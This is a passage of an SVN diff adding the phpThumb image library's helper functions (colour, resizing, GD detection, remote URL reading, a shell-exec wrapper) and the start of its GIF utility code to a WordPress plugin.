+		if (phpthumb_functions::IsHexColor($HexColorString)) {
+			$R = hexdec(substr($HexColorString, 0, 2));
+			$G = hexdec(substr($HexColorString, 2, 2));
+			$B = hexdec(substr($HexColorString, 4, 2));
+			return phpthumb_functions::ImageColorAllocateAlphaSafe($gdimg_hexcolorallocate, $R, $G, $B, $alpha);
+		}
+		if ($dieOnInvalid) {
+			die('Invalid hex color string: "'.$HexColorString.'"');
+		}
+		return ImageColorAllocate($gdimg_hexcolorallocate, 0x00, 0x00, 0x00);
+	}
+
+
+	function HexColorXOR($hexcolor) {
+		return strtoupper(str_pad(dechex(~hexdec($hexcolor) & 0xFFFFFF), 6, '0', STR_PAD_LEFT));
+	}
+
+
+	function GetPixelColor(&$img, $x, $y) {
+		if (!is_resource($img)) {
+			return false;
+		}
+		return @ImageColorsForIndex($img, @ImageColorAt($img, $x, $y));
+	}
+
+
+	function PixelColorDifferencePercent($currentPixel, $targetPixel) {
+		$diff = 0;
+		foreach ($targetPixel as $channel => $currentvalue) {
+			$diff = max($diff, (max($currentPixel[$channel], $targetPixel[$channel]) - min($currentPixel[$channel], $targetPixel[$channel])) / 255);
+		}
+		return $diff * 100;
+	}
+
+	function GrayscaleValue($r, $g, $b) {
+		return round(($r * 0.30) + ($g * 0.59) + ($b * 0.11));
+	}
+
+
+	function GrayscalePixel($OriginalPixel) {
+		$gray = phpthumb_functions::GrayscaleValue($OriginalPixel['red'], $OriginalPixel['green'], $OriginalPixel['blue']);
+		return array('red'=>$gray, 'green'=>$gray, 'blue'=>$gray);
+	}
+
+
+	function GrayscalePixelRGB($rgb) {
+		$r = ($rgb >> 16) & 0xFF;
+		$g = ($rgb >>  8) & 0xFF;
+		$b =  $rgb        & 0xFF;
+		return ($r * 0.299) + ($g * 0.587) + ($b * 0.114);
+	}
+
+
+	function ScaleToFitInBox($width, $height, $maxwidth=null, $maxheight=null, $allow_enlarge=true, $allow_reduce=true) {
+		$maxwidth  = (is_null($maxwidth)  ? $width  : $maxwidth);
+		$maxheight = (is_null($maxheight) ? $height : $maxheight);
+		$scale_x = 1;
+		$scale_y = 1;
+		if (($width > $maxwidth) || ($width < $maxwidth)) {
+			$scale_x = ($maxwidth / $width);
+		}
+		if (($height > $maxheight) || ($height < $maxheight)) {
+			$scale_y = ($maxheight / $height);
+		}
+		$scale = min($scale_x, $scale_y);
+		if (!$allow_enlarge) {
+			$scale = min($scale, 1);
+		}
+		if (!$allow_reduce) {
+			$scale = max($scale, 1);
+		}
+		return $scale;
+	}
+
+	function ImageCopyResampleBicubic($dst_img, $src_img, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h) {
+		// ron at korving dot demon dot nl
+		// http://www.php.net/imagecopyresampled
+
+		$scaleX = ($src_w - 1) / $dst_w;
+		$scaleY = ($src_h - 1) / $dst_h;
+
+		$scaleX2 = $scaleX / 2.0;
+		$scaleY2 = $scaleY / 2.0;
+
+		$isTrueColor = ImageIsTrueColor($src_img);
+
+		for ($y = $src_y; $y < $src_y + $dst_h; $y++) {
+			$sY   = $y * $scaleY;
+			$siY  = (int) $sY;
+			$siY2 = (int) $sY + $scaleY2;
+
+			for ($x = $src_x; $x < $src_x + $dst_w; $x++) {
+				$sX   = $x * $scaleX;
+				$siX  = (int) $sX;
+				$siX2 = (int) $sX + $scaleX2;
+
+				if ($isTrueColor) {
+
+					$c1 = ImageColorAt($src_img, $siX, $siY2);
+					$c2 = ImageColorAt($src_img, $siX, $siY);
+					$c3 = ImageColorAt($src_img, $siX2, $siY2);
+					$c4 = ImageColorAt($src_img, $siX2, $siY);
+
+					$r = (( $c1             +  $c2             +  $c3             +  $c4            ) >> 2) & 0xFF0000;
+					$g = ((($c1 & 0x00FF00) + ($c2 & 0x00FF00) + ($c3 & 0x00FF00) + ($c4 & 0x00FF00)) >> 2) & 0x00FF00;
+					$b = ((($c1 & 0x0000FF) + ($c2 & 0x0000FF) + ($c3 & 0x0000FF) + ($c4 & 0x0000FF)) >> 2);
+
+				} else {
+
+					$c1 = ImageColorsForIndex($src_img, ImageColorAt($src_img, $siX, $siY2));
+					$c2 = ImageColorsForIndex($src_img, ImageColorAt($src_img, $siX, $siY));
+					$c3 = ImageColorsForIndex($src_img, ImageColorAt($src_img, $siX2, $siY2));
+					$c4 = ImageColorsForIndex($src_img, ImageColorAt($src_img, $siX2, $siY));
+
+					$r = ($c1['red']   + $c2['red']   + $c3['red']   + $c4['red'] )  << 14;
+					$g = ($c1['green'] + $c2['green'] + $c3['green'] + $c4['green']) <<  6;
+					$b = ($c1['blue']  + $c2['blue']  + $c3['blue']  + $c4['blue'] ) >>  2;
+
+				}
+				ImageSetPixel($dst_img, $dst_x + $x - $src_x, $dst_y + $y - $src_y, $r+$g+$b);
+			}
+		}
+		return true;
+	}
+
+
+	function ImageCreateFunction($x_size, $y_size) {
+		$ImageCreateFunction = 'ImageCreate';
+		if (phpthumb_functions::gd_version() >= 2.0) {
+			$ImageCreateFunction = 'ImageCreateTrueColor';
+		}
+		if (!function_exists($ImageCreateFunction)) {
+			return phpthumb::ErrorImage($ImageCreateFunction.'() does not exist - no GD support?');
+		}
+		if (($x_size <= 0) || ($y_size <= 0)) {
+			return phpthumb::ErrorImage('Invalid image dimensions: '.$ImageCreateFunction.'('.$x_size.', '.$y_size.')');
+		}
+		return $ImageCreateFunction(round($x_size), round($y_size));
+	}
+
+
+	function ImageCopyRespectAlpha(&$dst_im, &$src_im, $dst_x, $dst_y, $src_x, $src_y, $src_w, $src_h, $opacity_pct=100) {
+		$opacipct = $opacity_pct / 100;
+		for ($x = $src_x; $x < $src_w; $x++) {
+			for ($y = $src_y; $y < $src_h; $y++) {
+				$RealPixel    = phpthumb_functions::GetPixelColor($dst_im, $dst_x + $x, $dst_y + $y);
+				$OverlayPixel = phpthumb_functions::GetPixelColor($src_im, $x, $y);
+				$alphapct = $OverlayPixel['alpha'] / 127;
+				$overlaypct = (1 - $alphapct) * $opacipct;
+
+				$newcolor = phpthumb_functions::ImageColorAllocateAlphaSafe(
+					$dst_im,
+					round($RealPixel['red']   * (1 - $overlaypct)) + ($OverlayPixel['red']   * $overlaypct),
+					round($RealPixel['green'] * (1 - $overlaypct)) + ($OverlayPixel['green'] * $overlaypct),
+					round($RealPixel['blue']  * (1 - $overlaypct)) + ($OverlayPixel['blue']  * $overlaypct),
+					//$RealPixel['alpha']);
+					0);
+
+				ImageSetPixel($dst_im, $dst_x + $x, $dst_y + $y, $newcolor);
+			}
+		}
+		return true;
+	}
+
+
+	function ProportionalResize($old_width, $old_height, $new_width=false, $new_height=false) {
+		$old_aspect_ratio = $old_width / $old_height;
+		if (($new_width === false) && ($new_height === false)) {
+			return false;
+		} elseif ($new_width === false) {
+			$new_width = $new_height * $old_aspect_ratio;
+		} elseif ($new_height === false) {
+			$new_height = $new_width / $old_aspect_ratio;
+		}
+		$new_aspect_ratio = $new_width / $new_height;
+		if ($new_aspect_ratio == $old_aspect_ratio) {
+			// great, done
+		} elseif ($new_aspect_ratio < $old_aspect_ratio) {
+			// limited by width
+			$new_height = $new_width / $old_aspect_ratio;
+		} elseif ($new_aspect_ratio > $old_aspect_ratio) {
+			// limited by height
+			$new_width = $new_height * $old_aspect_ratio;
+		}
+		return array(intval(round($new_width)), intval(round($new_height)));
+	}
+
+
+	function FunctionIsDisabled($function) {
+		static $DisabledFunctions = null;
+		if (is_null($DisabledFunctions)) {
+			$disable_functions_local  = explode(',',     strtolower(@ini_get('disable_functions')));
+			$disable_functions_global = explode(',', strtolower(@get_cfg_var('disable_functions')));
+			foreach ($disable_functions_local as $key => $value) {
+				$DisabledFunctions[trim($value)] = 'local';
+			}
+			foreach ($disable_functions_global as $key => $value) {
+				$DisabledFunctions[trim($value)] = 'global';
+			}
+			if (@ini_get('safe_mode')) {
+				$DisabledFunctions['shell_exec']     = 'local';
+				$DisabledFunctions['set_time_limit'] = 'local';
+			}
+		}
+		return isset($DisabledFunctions[strtolower($function)]);
+	}
+
+
+	function SafeExec($command) {
+		static $AllowedExecFunctions = array();
+		if (empty($AllowedExecFunctions)) {
+			$AllowedExecFunctions = array('shell_exec'=>true, 'passthru'=>true, 'system'=>true, 'exec'=>true);
+			foreach ($AllowedExecFunctions as $key => $value) {
+				$AllowedExecFunctions[$key] = !phpthumb_functions::FunctionIsDisabled($key);
+			}
+		}
+		$command .= ' 2>&1'; // force redirect stderr to stdout
+		foreach ($AllowedExecFunctions as $execfunction => $is_allowed) {
+			if (!$is_allowed) {
+				continue;
+			}
+			$returnvalue = false;
+			switch ($execfunction) {
+				case 'passthru':
+				case 'system':
+					ob_start();
+					$execfunction($command);
+					$returnvalue = ob_get_contents();
+					ob_end_clean();
+					break;
+
+				case 'exec':
+					$output = array();
+					$lastline = $execfunction($command, $output);
+					$returnvalue = implode("\n", $output);
+					break;
+
+				case 'shell_exec':
+					ob_start();
+					$returnvalue = $execfunction($command);
+					ob_end_clean();
+					break;
+			}
+			return $returnvalue;
+		}
+		return false;
+	}
+
+
+	function ApacheLookupURIarray($filename) {
+		// apache_lookup_uri() only works when PHP is installed as an Apache module.
+		if (php_sapi_name() == 'apache') {
+			$keys = array('status', 'the_request', 'status_line', 'method', 'content_type', 'handler', 'uri', 'filename', 'path_info', 'args', 'boundary', 'no_cache', 'no_local_copy', 'allowed', 'send_bodyct', 'bytes_sent', 'byterange', 'clength', 'unparsed_uri', 'mtime', 'request_time');
+			if ($apacheLookupURIobject = @apache_lookup_uri($filename)) {
+				$apacheLookupURIarray = array();
+				foreach ($keys as $key) {
+					$apacheLookupURIarray[$key] = @$apacheLookupURIobject->$key;
+				}
+				return $apacheLookupURIarray;
+			}
+		}
+		return false;
+	}
+
+
+	function gd_is_bundled() {
+		static $isbundled = null;
+		if (is_null($isbundled)) {
+			$gd_info = gd_info();
+			$isbundled = (strpos($gd_info['GD Version'], 'bundled') !== false);
+		}
+		return $isbundled;
+	}
+
+
+	function gd_version($fullstring=false) {
+		static $cache_gd_version = array();
+		if (empty($cache_gd_version)) {
+			$gd_info = gd_info();
+			if (eregi('bundled \((.+)\)$', $gd_info['GD Version'], $matches)) {
+				$cache_gd_version[1] = $gd_info['GD Version'];  // e.g. "bundled (2.0.15 compatible)"
+				$cache_gd_version[0] = (float) $matches[1];     // e.g. "2.0" (not "bundled (2.0.15 compatible)")
+			} else {
+				$cache_gd_version[1] = $gd_info['GD Version'];                       // e.g. "1.6.2 or higher"
+				$cache_gd_version[0] = (float) substr($gd_info['GD Version'], 0, 3); // e.g. "1.6" (not "1.6.2 or higher")
+			}
+		}
+		return $cache_gd_version[intval($fullstring)];
+	}
+
+
+	function filesize_remote($remotefile, $timeout=10) {
+		$size = false;
+		$url = phpthumb_functions::ParseURLbetter($remotefile);
+		if ($fp = @fsockopen($url['host'], ($url['port'] ? $url['port'] : 80), $errno, $errstr, $timeout)) {
+			fwrite($fp, 'HEAD '.@$url['path'].@$url['query'].' HTTP/1.0'."\r\n".'Host: '.@$url['host']."\r\n\r\n");
+			if (phpthumb_functions::version_compare_replacement(phpversion(), '4.3.0', '>=')) {
+				stream_set_timeout($fp, $timeout);
+			}
+			while (!feof($fp)) {
+				$headerline = fgets($fp, 4096);
+				if (eregi('^Content-Length: (.*)', $headerline, $matches)) {
+					$size = intval($matches[1]);
+					break;
+				}
+			}
+			fclose ($fp);
+		}
+		return $size;
+	}
+
+
+	function filedate_remote($remotefile, $timeout=10) {
+		$date = false;
+		$url = phpthumb_functions::ParseURLbetter($remotefile);
+		if ($fp = @fsockopen($url['host'], ($url['port'] ? $url['port'] : 80), $errno, $errstr, $timeout)) {
+			fwrite($fp, 'HEAD '.@$url['path'].@$url['query'].' HTTP/1.0'."\r\n".'Host: '.@$url['host']."\r\n\r\n");
+			if (phpthumb_functions::version_compare_replacement(phpversion(), '4.3.0', '>=')) {
+				stream_set_timeout($fp, $timeout);
+			}
+			while (!feof($fp)) {
+				$headerline = fgets($fp, 4096);
+				if (eregi('^Last-Modified: (.*)', $headerline, $matches)) {
+					$date = strtotime($matches[1]) - date('Z');
+					break;
+				}
+			}
+			fclose ($fp);
+		}
+		return $date;
+	}
+
+
+	function md5_file_safe($filename) {
+		// md5_file() doesn't exist in PHP < 4.2.0
+		if (function_exists('md5_file')) {
+			return md5_file($filename);
+		}
+		if ($fp = @fopen($filename, 'rb')) {
+			$rawData = '';
+			do {
+				$buffer = fread($fp, 8192);
+				$rawData .= $buffer;
+			} while (strlen($buffer) > 0);
+			fclose($fp);
+			return md5($rawData);
+		}
+		return false;
+	}
+
+
+	function nonempty_min() {
+		$arg_list = func_get_args();
+		$acceptable = array();
+		foreach ($arg_list as $arg) {
+			if ($arg) {
+				$acceptable[] = $arg;
+			}
+		}
+		return min($acceptable);
+	}
+
+
+	function LittleEndian2String($number, $minbytes=1) {
+		$intstring = '';
+		while ($number > 0) {
+			$intstring = $intstring.chr($number & 255);
+			$number >>= 8;
+		}
+		return str_pad($intstring, $minbytes, "\x00", STR_PAD_RIGHT);
+	}
+
+	function OneOfThese() {
+		// return the first useful (non-empty/non-zero/non-false) value from those passed
+		$arg_list = func_get_args();
+		foreach ($arg_list as $key => $value) {
+			if ($value) {
+				return $value;
+			}
+		}
+		return false;
+	}
+
+	function CaseInsensitiveInArray($needle, $haystack) {
+		$needle = strtolower($needle);
+		foreach ($haystack as $key => $value) {
+			if (is_array($value)) {
+				// skip?
+			} elseif ($needle == strtolower($value)) {
+				return true;
+			}
+		}
+		return false;
+	}
+
+	function URLreadFsock($host, $file, &$errstr, $successonly=true, $port=80, $timeout=10) {
+		if (!function_exists('fsockopen') || phpthumb_functions::FunctionIsDisabled('fsockopen')) {
+			$errstr = 'fsockopen() unavailable';
+			return false;
+		}
+		if ($fp = @fsockopen($host, 80, $errno, $errstr, $timeout)) {
+			$out  = 'GET '.$file.' HTTP/1.0'."\r\n";
+			$out .= 'Host: '.$host."\r\n";
+			$out .= 'Connection: Close'."\r\n\r\n";
+			fwrite($fp, $out);
+
+			$isHeader = true;
+			$Data_header = '';
+			$Data_body   = '';
+			$header_newlocation = '';
+			while (!feof($fp)) {
+				$line = fgets($fp, 1024);
+				if ($isHeader) {
+					$Data_header .= $line;
+				} else {
+					$Data_body .= $line;
+				}
+				if (eregi('^HTTP/[\\.0-9]+ ([0-9]+) (.+)$', rtrim($line), $matches)) {
+					list($dummy, $errno, $errstr) = $matches;
+					$errno = intval($errno);
+				} elseif (eregi('^Location: (.*)$', rtrim($line), $matches)) {
+					$header_newlocation = $matches[1];
+				}
+				if ($isHeader && ($line == "\r\n")) {
+					$isHeader = false;
+					if ($successonly) {
+						switch ($errno) {
+							case 200:
+								// great, continue
+								break;
+
+							default:
+								$errstr = $errno.' '.$errstr.($header_newlocation ? '; Location: '.$header_newlocation : '');
+								fclose($fp);
+								return false;
+								break;
+						}
+					}
+				}
+			}
+			fclose($fp);
+			return $Data_body;
+		}
+		return null;
+	}
+
+	function CleanUpURLencoding($url, $queryseperator='&') {
+		if (!eregi('^http', $url)) {
+			return $url;
+		}
+		$parse_url = phpthumb_functions::ParseURLbetter($url);
+		$pathelements = explode('/', $parse_url['path']);
+		$CleanPathElements = array();
+		$TranslationMatrix = array(' '=>'%20');
+		foreach ($pathelements as $key => $pathelement) {
+			$CleanPathElements[] = strtr($pathelement, $TranslationMatrix);
+		}
+		foreach ($CleanPathElements as $key => $value) {
+			if ($value === '') {
+				unset($CleanPathElements[$key]);
+			}
+		}
+
+		$queries = explode($queryseperator, @$parse_url['query']);
+		$CleanQueries = array();
+		foreach ($queries as $key => $query) {
+			@list($param, $value) = explode('=', $query);
+			$CleanQueries[] = strtr($param, $TranslationMatrix).($value ? '='.strtr($value, $TranslationMatrix) : '');
+		}
+		foreach ($CleanQueries as $key => $value) {
+			if ($value === '') {
+				unset($CleanQueries[$key]);
+			}
+		}
+
+		$cleaned_url  = $parse_url['scheme'].'://';
+		$cleaned_url .= (@$parse_url['username'] ? $parse_url['host'].(@$parse_url['password'] ? ':'.$parse_url['password'] : '').'@' : '');
+		$cleaned_url .= $parse_url['host'];
+		$cleaned_url .= '/'.implode('/', $CleanPathElements);
+		$cleaned_url .= (@$CleanQueries ? '?'.implode($queryseperator, $CleanQueries) : '');
+		return $cleaned_url;
+	}
+
+	function ParseURLbetter($url) {
+		$parsedURL = @parse_url($url);
+		if (!@$parsedURL['port']) {
+			switch (strtolower(@$parsedURL['scheme'])) {
+				case 'ftp':
+					$parsedURL['port'] = 21;
+					break;
+				case 'https':
+					$parsedURL['port'] = 443;
+					break;
+				case 'http':
+					$parsedURL['port'] = 80;
+					break;
+			}
+		}
+		return $parsedURL;
+	}
+
+	function SafeURLread($url, &$error, $timeout=10, $followredirects=true) {
+		$error = '';
+
+		$parsed_url = phpthumb_functions::ParseURLbetter($url);
+		$alreadyLookedAtURLs[trim($url)] = true;
+
+		while (true) {
+			$tryagain = false;
+			$rawData = phpthumb_functions::URLreadFsock(@$parsed_url['host'], @$parsed_url['path'].'?'.@$parsed_url['query'], $errstr, true, (@$parsed_url['port'] ? @$parsed_url['port'] : 80), $timeout);
+			if (eregi('302 [a-z ]+; Location\\: (http.*)', $errstr, $matches)) {
+				$matches[1] = trim(@$matches[1]);
+				if (!@$alreadyLookedAtURLs[$matches[1]]) {
+					// loop through and examine new URL
+					$error .= 'URL "'.$url.'" redirected to "'.$matches[1].'"';
+
+					$tryagain = true;
+					$alreadyLookedAtURLs[$matches[1]] = true;
+					$parsed_url = phpthumb_functions::ParseURLbetter($matches[1]);
+				}
+			}
+			if (!$tryagain) {
+				break;
+			}
+		}
+
+		if ($rawData === false) {
+			$error .= 'Error opening "'.$url.'":'."\n\n".$errstr;
+			return false;
+		} elseif ($rawData === null) {
+			// fall through
+			$error .= 'Error opening "'.$url.'":'."\n\n".$errstr;
+		} else {
+			return $rawData;
+		}
+
+		if (function_exists('curl_version') && !phpthumb_functions::FunctionIsDisabled('curl_exec')) {
+			$ch = curl_init();
+			curl_setopt($ch, CURLOPT_URL, $url);
+			curl_setopt($ch, CURLOPT_HEADER, false);
+			curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
+			curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
+			curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
+			$rawData = curl_exec($ch);
+			curl_close($ch);
+			if (strlen($rawData) > 0) {
+				$error .= 'CURL succeeded ('.strlen($rawData).' bytes); ';
+				return $rawData;
+			}
+			$error .= 'CURL available but returned no data; ';
+		} else {
+			$error .= 'CURL unavailable; ';
+		}
+
+		$BrokenURLfopenPHPversions = array('4.4.2');
+		if (in_array(phpversion(), $BrokenURLfopenPHPversions)) {
+			$error .= 'fopen(URL) broken in PHP v'.phpversion().'; ';
+		} elseif (@ini_get('allow_url_fopen')) {
+			$rawData = '';
+			$error_fopen = '';
+			ob_start();
+			if ($fp = fopen($url, 'rb')) {
+				do {
+					$buffer = fread($fp, 8192);
+					$rawData .= $buffer;
+				} while (strlen($buffer) > 0);
+				fclose($fp);
+			} else {
+				$error_fopen .= trim(strip_tags(ob_get_contents()));
+			}
+			ob_end_clean();
+			$error .= $error_fopen;
+			if (!$error_fopen) {
+				$error .= '; "allow_url_fopen" succeeded ('.strlen($rawData).' bytes); ';
+				return $rawData;
+			}
+			$error .= '; "allow_url_fopen" enabled but returned no data ('.$error_fopen.'); ';
+		} else {
+			$error .= '"allow_url_fopen" disabled; ';
+		}
+
+		return false;
+	}
+
+	function EnsureDirectoryExists($dirname) {
+		$directory_elements = explode(DIRECTORY_SEPARATOR, $dirname);
+		$startoffset = (!$directory_elements[0] ? 2 : 1);  // unix with leading "/" then start with 2nd element; Windows with leading "c:\" then start with 1st element
+		$open_basedirs = split('[;:]', ini_get('open_basedir'));
+		foreach ($open_basedirs as $key => $open_basedir) {
+			if (ereg('^'.preg_quote($open_basedir), $dirname) && (strlen($dirname) > strlen($open_basedir))) {
+				$startoffset = count(explode(DIRECTORY_SEPARATOR, $open_basedir));
+				break;
+			}
+		}
+		$i = $startoffset;
+		$endoffset = count($directory_elements);
+		for ($i = $startoffset; $i <= $endoffset; $i++) {
+			$test_directory = implode(DIRECTORY_SEPARATOR, array_slice($directory_elements, 0, $i));
+			if (!$test_directory) {
+				continue;
+			}
+			if (!@is_dir($test_directory)) {
+				if (@file_exists($test_directory)) {
+					// directory name already exists as a file
+					return false;
+				}
+				@mkdir($test_directory, 0755);
+				@chmod($test_directory, 0755);
+				if (!@is_dir($test_directory) || !@is_writeable($test_directory)) {
+					return false;
+				}
+			}
+		}
+		return true;
+	}
+
+
+	function GetAllFilesInSubfolders($dirname) {
+		$AllFiles = array();
+		$dirname = rtrim(realpath($dirname), '/\\');
+		if ($dirhandle = @opendir($dirname)) {
+			while (($file = readdir($dirhandle)) !== false) {
+				$fullfilename = $dirname.DIRECTORY_SEPARATOR.$file;
+				if (is_file($fullfilename)) {
+					$AllFiles[] = $fullfilename;
+				} elseif (is_dir($fullfilename)) {
+					switch ($file) {
+						case '.':
+						case '..':
+							break;
+
+						default:
+							$AllFiles[] = $fullfilename;
+							$subfiles = phpthumb_functions::GetAllFilesInSubfolders($fullfilename);
+							foreach ($subfiles as $filename) {
+								$AllFiles[] = $filename;
+							}
+							break;
+					}
+				} else {
+					// ignore?
+				}
+			}
+			closedir($dirhandle);
+		}
+		sort($AllFiles);
+		return array_unique($AllFiles);
+	}
+
+
+	function SanitizeFilename($filename) {
+		$filename = ereg_replace('[^'.preg_quote(' !#$%^()+,-.;<>=@[]_{}').'a-zA-Z0-9]', '_', $filename);
+		if (phpthumb_functions::version_compare_replacement(phpversion(), '4.1.0', '>=')) {
+			$filename = trim($filename, '.');
+		}
+		return $filename;
+	}
+
+}
+
+
+////////////// END: class phpthumb_functions //////////////
+
+
+if (!function_exists('gd_info')) {
+	// built into PHP v4.3.0+ (with bundled GD2 library)
+	function gd_info() {
+		static $gd_info = array();
+		if (empty($gd_info)) {
+			// based on code by johnschaefer at gmx dot de
+			// from PHP help on gd_info()
+			$gd_info = array(
+				'GD Version'         => '',
+				'FreeType Support'   => false,
+				'FreeType Linkage'   => '',
+				'T1Lib Support'      => false,
+				'GIF Read Support'   => false,
+				'GIF Create Support' => false,
+				'JPG Support'        => false,
+				'PNG Support'        => false,
+				'WBMP Support'       => false,
+				'XBM Support'        => false
+			);
+			$phpinfo_array = phpthumb_functions::phpinfo_array();
+			foreach ($phpinfo_array as $line) {
+				$line = trim(strip_tags($line));
+				foreach ($gd_info as $key => $value) {
+					//if (strpos($line, $key) !== false) {
+					if (strpos($line, $key) === 0) {
+						$newvalue = trim(str_replace($key, '', $line));
+						$gd_info[$key] = $newvalue;
+					}
+				}
+			}
+			if (empty($gd_info['GD Version'])) {
+				// probable cause: "phpinfo() disabled for security reasons"
+				if (function_exists('ImageTypes')) {
+					$imagetypes = ImageTypes();
+					if ($imagetypes & IMG_PNG) {
+						$gd_info['PNG Support'] = true;
+					}
+					if ($imagetypes & IMG_GIF) {
+						$gd_info['GIF Create Support'] = true;
+					}
+					if ($imagetypes & IMG_JPG) {
+						$gd_info['JPG Support'] = true;
+					}
+					if ($imagetypes & IMG_WBMP) {
+						$gd_info['WBMP Support'] = true;
+					}
+				}
+				// to determine capability of GIF creation, try to use ImageCreateFromGIF on a 1px GIF
+				if (function_exists('ImageCreateFromGIF')) {
+					if ($tempfilename = phpthumb::phpThumb_tempnam()) {
+						if ($fp_tempfile = @fopen($tempfilename, 'wb')) {
+							fwrite($fp_tempfile, base64_decode('R0lGODlhAQABAIAAAH//AP///ywAAAAAAQABAAACAUQAOw==')); // very simple 1px GIF file base64-encoded as string
+							fclose($fp_tempfile);
+
+							// if we can convert the GIF file to a GD image then GIF create support must be enabled, otherwise it's not
+							$gd_info['GIF Read Support'] = (bool) @ImageCreateFromGIF($tempfilename);
+						}
+						unlink($tempfilename);
+					}
+				}
+				if (function_exists('ImageCreateTrueColor') && @ImageCreateTrueColor(1, 1)) {
+					$gd_info['GD Version'] = '2.0.1 or higher (assumed)';
+				} elseif (function_exists('ImageCreate') && @ImageCreate(1, 1)) {
+					$gd_info['GD Version'] = '1.6.0 or higher (assumed)';
+				}
+			}
+		}
+		return $gd_info;
+	}
+}
+
+
+if (!function_exists('is_executable')) {
+	// in PHP v3+, but v5.0+ for Windows
+	function is_executable($filename) {
+		// poor substitute, but better than nothing
+		return file_exists($filename);
+	}
+}
+
+
+if (!function_exists('preg_quote')) {
+	// included in PHP v3.0.9+, but may be unavailable if not compiled in
+	function preg_quote($string, $delimiter='\\') {
+		static $preg_quote_array = array();
+		if (empty($preg_quote_array)) {
+			$escapeables = '.\\+*?[^]$(){}=!<>|:';
+			for ($i = 0; $i < strlen($escapeables); $i++) {
+				$strtr_preg_quote[$escapeables{$i}] = $delimiter.$escapeables{$i};
+			}
+		}
+		return strtr($string, $strtr_preg_quote);
+	}
+}
+
+if (!function_exists('file_get_contents')) {
+	// included in PHP v4.3.0+
+	function file_get_contents($filename) {
+		if (eregi('^(f|ht)tp\://', $filename)) {
+			return SafeURLread($filename, $error);
+		}
+		if ($fp = @fopen($filename, 'rb')) {
+			$rawData = '';
+			do {
+				$buffer = fread($fp, 8192);
+				$rawData .= $buffer;
+			} while (strlen($buffer) > 0);
+			fclose($fp);
+			return $rawData;
+		}
+		return false;
+	}
+}
+
+
+if (!function_exists('file_put_contents')) {
+	// included in PHP v5.0.0+
+	function file_put_contents($filename, $filedata) {
+		if ($fp = @fopen($filename, 'wb')) {
+			fwrite($fp, $filedata);
+			fclose($fp);
+			return true;
+		}
+		return false;
+	}
+}
+
+if (!function_exists('imagealphablending')) {
+	// built-in function requires PHP v4.0.6+ *and* GD v2.0.1+
+	function imagealphablending(&$img, $blendmode=true) {
+		// do nothing, this function is declared here just to
+		// prevent runtime errors if GD2 is not available
+		return true;
+	}
+}
+
+if (!function_exists('imagesavealpha')) {
+	// built-in function requires PHP v4.3.2+ *and* GD v2.0.1+
+	function imagesavealpha(&$img, $blendmode=true) {
+		// do nothing, this function is declared here just to
+		// prevent runtime errors if GD2 is not available
+		return true;
+	}
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/phpthumb/phpthumb.gif.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/phpthumb/phpthumb.gif.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/phpthumb/phpthumb.gif.php	(revision 44)
@@ -0,0 +1,1173 @@
+<?php
+///////////////////////////////////////////////////////////////////////////////////////////////////
+// GIF Util - (C) 2003 Yamasoft (S/C)
+// http://www.yamasoft.com
+// All Rights Reserved
+// This file can be freely copied, distributed, modified, updated by anyone under the only
+// condition to leave the original address (Yamasoft, http://www.yamasoft.com) and this header.
+///////////////////////////////////////////////////////////////////////////////////////////////////
+// <gif>  = gif_loadFile(filename, [index])
+// <bool> = gif_getSize(<gif> or filename, &width, &height)
+// <bool> = gif_outputAsPng(<gif>, filename, [bgColor])
+// <bool> = gif_outputAsBmp(<gif>, filename, [bgcolor])
+// <bool> = gif_outputAsJpeg(<gif>, filename, [bgcolor]) - use cjpeg if available otherwise uses GD
+///////////////////////////////////////////////////////////////////////////////////////////////////
+// Original code by Fabien Ezber
+// Modified by James Heinrich <info@silisoftware.com> for use in phpThumb() - December 10, 2003
+// * Added function gif_loadFileToGDimageResource() - this returns a GD image resource
+// * Modified gif_outputAsJpeg() to check if it's running under Windows, or if cjpeg is not
+//   available, in which case it will attempt to output JPEG using GD functions
+// * added @ error-suppression to two lines where it checks: if ($this->m_img->m_bTrans)
+//   otherwise warnings are generated if error_reporting == E_ALL
+///////////////////////////////////////////////////////////////////////////////////////////////////
+
+function gif_loadFile($lpszFileName, $iIndex = 0)
+{
+	$gif = new CGIF();
+	if ($gif->loadFile($lpszFileName, $iIndex)) {
+		return $gif;
+	}
+	return false;
+}
+
+///////////////////////////////////////////////////////////////////////////////////////////////////
+
+// Added by James Heinrich <info@silisoftware.com> - December 10, 2003
+function gif_loadFileToGDimageResource($gifFilename, $bgColor = -1)
+{
+	if ($gif = gif_loadFile($gifFilename)) {
+
+		if (!phpthumb_functions::FunctionIsDisabled('set_time_limit')) {
+			// shouldn't take nearly this long
+			set_time_limit(120);
+		}
+		// general strategy: convert raw data to PNG then convert PNG data to GD image resource
+		$PNGdata = $gif->getPng($bgColor);
+		if ($img = @ImageCreateFromString($PNGdata)) {
+
+			// excellent - PNG image data successfully converted to GD image
+			return $img;
+
+		} elseif ($img = $gif->getGD_PixelPlotterVersion()) {
+
+			// problem: ImageCreateFromString() didn't like the PNG image data.
+			//   This has been known to happen in PHP v4.0.6
+			// solution: take the raw image data and create a new GD image and plot
+			//   pixel-by-pixel on the GD image. This is extremely slow, but it does
+			//   work and a slow solution is better than no solution, right? :)
+			return $img;
+
+		}
+	}
+	return false;
+}
+
+///////////////////////////////////////////////////////////////////////////////////////////////////
+
+function gif_outputAsBmp($gif, $lpszFileName, $bgColor = -1)
+{
+	if (!isSet($gif) || (@get_class($gif) <> 'cgif') || !$gif->loaded() || ($lpszFileName == '')) {
+		return false;
+	}
+
+	$fd = $gif->getBmp($bgColor);
+	if (strlen($fd) <= 0) {
+		return false;
+	}
+
+	if (!($fh = @fopen($lpszFileName, 'wb'))) {
+		return false;
+	}
+	@fwrite($fh, $fd, strlen($fd));
+	@fflush($fh);
+	@fclose($fh);
+	return true;
+}
+
+///////////////////////////////////////////////////////////////////////////////////////////////////
+
+function gif_outputAsPng($gif, $lpszFileName, $bgColor = -1)
+{
+	if (!isSet($gif) || (@get_class($gif) <> 'cgif') || !$gif->loaded() || ($lpszFileName == '')) {
+		return false;
+	}
+
